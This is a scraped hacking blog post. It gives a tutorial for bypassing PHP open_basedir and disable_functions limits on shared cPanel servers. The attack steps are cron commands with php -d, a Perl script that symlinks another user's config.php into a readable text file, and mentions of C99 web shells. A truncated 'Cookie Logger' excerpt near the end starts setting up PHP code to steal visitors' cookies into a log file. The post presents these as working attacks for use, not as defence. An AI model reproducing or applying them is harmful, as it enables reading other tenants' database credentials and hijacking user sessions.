Skip to main content

Bypass Symlink 100%

             Bypass Symlink 100%

Hello my friends today i will explain how to bypass any server even the security is 100000000% ^_^

so this method is private but i decided to make it public ^_^


So no need ".htaccess" or "ini.php" or "php.ini" to bypass ^_^

First let me explain some tricks °_°

We know that php use html code , It's a language that can be executed in the command line
So in linux System the users privilege can execute many command in php and we can bypass the configuration ^_^.

As we know in the cpanel server we have an option called "cron job" in the control panel to execute many commands.

For example let's make a file called file.php

CODE:

<?php
phpinfo();
?>

Secondly Go to the cpanel in the server and select "cron job" and add this command :

/usr/local/bin/php -d open_basedir= /home/user/public_html/file.php

As you can see : "/usr/local/bin/php"  It's the command line in php for the user

Note: in some servers it's installed in : "/usr/bin/php"

-d <<<< put the config you want to execute in that file ^_^

open_basedir= <<<< here you put open_basedir empty to Bypass config in "file.php"

/home/user/public_html/file.php <<< here is the path of php file that you want to execute ^_^


Other Bypass example: /usr/local/bin/php -d disable_functions= /home/user/public_html/file.php


Advanced method :

Create a file example "hacks001.php"

CODE:

#!/usr/local/bin/php -d open_basedir=
<?php
phpinfo();
?>

Then just execute the file ^_^

Command: php mauritania.php

Another method to bypass is to execute a perl file and you can read the file easily !

CODE:


#!/usr/bin/perl
symlink ("/home/user/public_html/config.php","/home/user/public_html/test.txt");


So that mean that the admin didn't run php as :

*CGI module
*SUPHP module .
*apache module.
*enable open_basedir and safe_mode .

*"Chmod 000 /bin/ln" =========>>>  the perl file still have the ability to create the links O.o hahaha :D

but even if the admin runs that shit you still can bypass the system ^_^ perl is powerful <3

and if the admin try to disable "/usr/bin/perl" and chmod it to "0700" or less :p it will broke the cpanel ^_^

As it requires to be at "0755" for proper operations, since it is used by customers as well when it suexec into the user when they log into cPanel.

So we cannot change it to that setting "700" , since it breaks the entire system ^_^

*So as you learned today "open_basedir" is the responsible of the mobility between the websites in the shell ^_^
So there is an option Called "Sec info sometimes "Sec" depends of the shell you are using ^_^ Example : C99 shell


We have this that mean that the open base dir is disabled :

"Open base dir: /home/user:/usr/lib/php:/usr/local/lib/php:/tmp"

Okey in some servers you can bypass the security with jumping method , some hackers use

php scanner to scan the whole paths in the server °_° that is wasting of time :3 by putting

url before Linux : serverurl/~user/folder/shell.php °_° very old :s

So i hope you understand  now i uploaded for you a simple tool to bypass "Open Base_dir" :

Comments

Popular posts from this blog

10 Best Forum Software For Webmasters

10 Best Forum Software For Webmasters Do you want to create your online discussion forum or online community where people can discuss about their favorite topics? In this article, you can see 10 best forum software (scripts for setting up discussion forums) that can be used free of cost. Although some scripts are paid but rest of these forum scripts are free to use.You only need to buy hosting space and domain name for your website and after then you can install any of these forum scripts to start your own discussion forums on the internet. Online discussion forums generate huge page views because thousands of people want to join online discussion forums to ask questions or share knowledge. Some of online marketers join forums to discuss about their products with community members. You don't need to acquire any kind of technical skill to run a professional discussion forums because these days, almost all web hosting providers offer one click script installer which h

Assembly Language Step-by-step: Programming with DOS and Linux-

(-Assembly Language Step-by-step: Programming with DOS and Linux-) The bestselling guide to assembly language-now updated and expanded to include coverage of Linux . This new edition of the bestselling guide to assembly programming now covers DOS and Linux! The Second Edition begins with a highly accessible overview of the internal operations of the Intel-based PC and systematically covers all the steps involved in writing, testing, and debugging assembly programs. Expert author Jeff Duntemann then presents working example programs for both the DOS and Linux operating systems using the popular free assembler NASM. He also includes valuable information on how to use procedures and macros, plus rare explanations of assembly-level coding for Linux, all of which combine to offer a comprehensive look at the complexities of assembly programming for Intel processors. Providing you with the foundation to create executable assembly language programs, this book: * Explains how to use NASM

Cookie Logger

         Cookie Logger ---------------------------------------------- A Cookie Logger is a Script that is Used to Steal anybody’s Cookies and stores it into a Log File from where you can read the Cookies of the Victim. Today I am going to show How to make your own Cookie Logger… Hope you will enjoy Reading it... STEP 1: Copy & Save the notepad file from below and Rename it as Fun.gif <a href="www.yoursite.com/fun.gif"><img style="cursor: pointer; width: 116px; height: 116px;" src="nesite.com/jpg" /></a> STEP 2: Copy the Following Script into a Notepad File and Save the file as cookielogger.php $filename = “logfile.txt”; if (isset($_GET["cookie"])) { if (!$handle = fopen($filename, ‘a’)) { echo “Temporary Server Error,Sorry for the inconvenience.”; exit; } else { if (fwrite($handle, “rn” . $_GET["cookie"]) === FALSE) { echo “Temporary Server Error,Sorry for the inconvenience.”; exit; } } echo “Temporary